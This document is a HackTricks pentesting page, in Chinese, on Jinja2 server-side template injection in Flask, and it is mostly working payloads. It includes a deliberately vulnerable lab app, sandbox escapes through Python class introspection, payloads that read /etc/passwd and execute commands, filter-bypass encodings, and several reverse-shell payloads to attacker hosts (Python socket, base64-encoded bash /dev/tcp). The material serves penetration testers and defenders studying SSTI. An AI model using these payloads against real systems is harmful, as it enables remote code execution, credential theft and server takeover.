hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md

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Jinja2 SSTI

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

其他支持HackTricks的方式

实验

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"

if __name__ == "__main__":
app.run()

其他

调试语句

如果启用了调试扩展,将会提供一个debug标签,用于转储当前上下文以及可用的过滤器和测试。这对于查看模板中可用的内容而无需设置调试器非常有用。

<pre>

{% raw %}
{% debug %}
{% endraw %}



</pre>

转储所有配置变量

源链接: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement

{{ config }} #In these object you can find all the configured env variables


{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}

Jinja注入

首先在Jinja注入中您需要找到一种方法来逃离沙盒并恢复访问常规的Python执行流程。为此您需要滥用来自非沙盒环境但可以从沙盒访问的对象

访问全局对象

例如,在代码render_template("hello.html", username=username, email=email)对象username和email来自非沙盒的Python环境,并将在沙盒环境内可访问。
此外,还有其他对象将始终可以从沙盒环境中访问,这些对象包括:

[]
''
()
dict
config
request

恢复<class 'object'>

然后,从这些对象中,我们需要到达类:<class 'object'>,以便尝试恢复定义的。这是因为从这个对象中,我们可以调用**__subclasses__方法,并访问来自非沙盒**python环境的所有类。

为了访问那个对象类,您需要访问一个类对象,然后访问**__base____mro__()[-1]mro()[-1]。然后,在到达这个对象类之后,我们调用** __subclasses__()

请查看以下示例:

# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class

# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]

# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}

{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}


# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

RCE Escaping

恢复了 <class 'object'> 并调用 __subclasses__ 后,我们现在可以使用这些类来读取和写入文件以及执行代码。

调用 __subclasses__ 给了我们机会访问数百个新函数,我们将很高兴地仅通过访问文件类读取/写入文件或具有访问允许执行命令的类的类(如 os)。

读取/写入远程文件

# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

远程代码执行RCE

# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Calling os.popen without guessing the index of the class

{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}


要了解可以用来逃逸的更多类,您可以检查

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

过滤绕过

常见绕过

这些绕过将允许我们访问对象的属性,而无需使用某些字符。
我们已经在先前的示例中看到了一些这些绕过的情况,但让我们在这里总结一下:

# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick

## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params

## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

# Using with

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}

避免HTML编码

默认情况下Flask会对模板中的所有内容进行HTML编码以确保安全性

{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;

safe 过滤器允许我们将 JavaScript 和 HTML 注入到页面中,而无需对其进行HTML 编码,就像这样:

{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>

通过编写恶意配置文件实现远程代码执行RCE

# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

没有几个字符

没有 {{ . [ ] }} _

{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}

无需使用 <class 'object'> 的 Jinja 注入

全局对象中有另一种方法可以实现 RCE 而无需使用该类。
如果你设法访问到这些全局对象中的任何 函数,你将能够访问 __globals__.__builtins__,从那里 RCE 就非常 简单

你可以通过以下方式从对象 requestconfig 和任何其他你可以访问的有趣的 全局对象找到函数

{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed

{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__

# You can iterate through children objects to find more

一旦找到了一些函数,您可以使用以下方法恢复内置函数:

# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}

## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

# All the bypasses seen in the previous sections are also valid

参考资料

从零开始学习AWS黑客技术 htARTE (HackTricks AWS Red Team Expert)!

支持HackTricks的其他方式